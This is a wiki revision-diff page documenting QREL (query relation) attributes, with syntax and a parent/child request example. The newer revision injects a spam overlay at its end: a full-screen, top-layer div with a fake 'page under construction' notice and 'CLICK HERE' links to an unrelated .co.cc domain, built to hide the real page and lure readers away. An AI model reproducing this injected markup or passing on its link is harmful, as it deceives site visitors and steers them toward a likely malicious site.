Difference between revisions of "QREL"
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== Overview == | == Overview == | ||
| − | A QREL attribute is a | + | A QREL attribute is a "Query RELation". A QREL attribute is also a list of objects defined by a where clause. |
'''QREL Syntax''' | '''QREL Syntax''' | ||
| − | + | <source lang="javascript">children QREL chg DYNAMIC { | |
| − | WHERE | + | WHERE "parent = ? " ; |
PARAM_NAMES { id } ; | PARAM_NAMES { id } ; | ||
DOMSET chg_list ; | DOMSET chg_list ; | ||
| − | } ; | + | } ;</source> |
Used to access a list of objects related to the current object using where clause | Used to access a list of objects related to the current object using where clause | ||
| − | Many to One Relationship | + | Many to One Relationship<br> |
'''Example:''' The relationship of many Child Requests to Parent Request | '''Example:''' The relationship of many Child Requests to Parent Request | ||
| Line 22: | Line 22: | ||
where clause on the Advanced tab. It exists only in the Object Engine | where clause on the Advanced tab. It exists only in the Object Engine | ||
and is not physically stored in the database. | and is not physically stored in the database. | ||
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| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://yzoxixytote.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://yzoxixytote.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
Revision as of 04:25, 18 November 2010
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Overview
A QREL attribute is a "Query RELation". A QREL attribute is also a list of objects defined by a where clause.
QREL Syntax <source lang="javascript">children QREL chg DYNAMIC { WHERE "parent = ? " ; PARAM_NAMES { id } ; DOMSET chg_list ; } ;</source>
Used to access a list of objects related to the current object using where clause Many to One Relationship<br> Example: The relationship of many Child Requests to Parent Request
Indicates a virtual column representing a set of objects selected by the where clause on the Advanced tab. It exists only in the Object Engine and is not physically stored in the database.
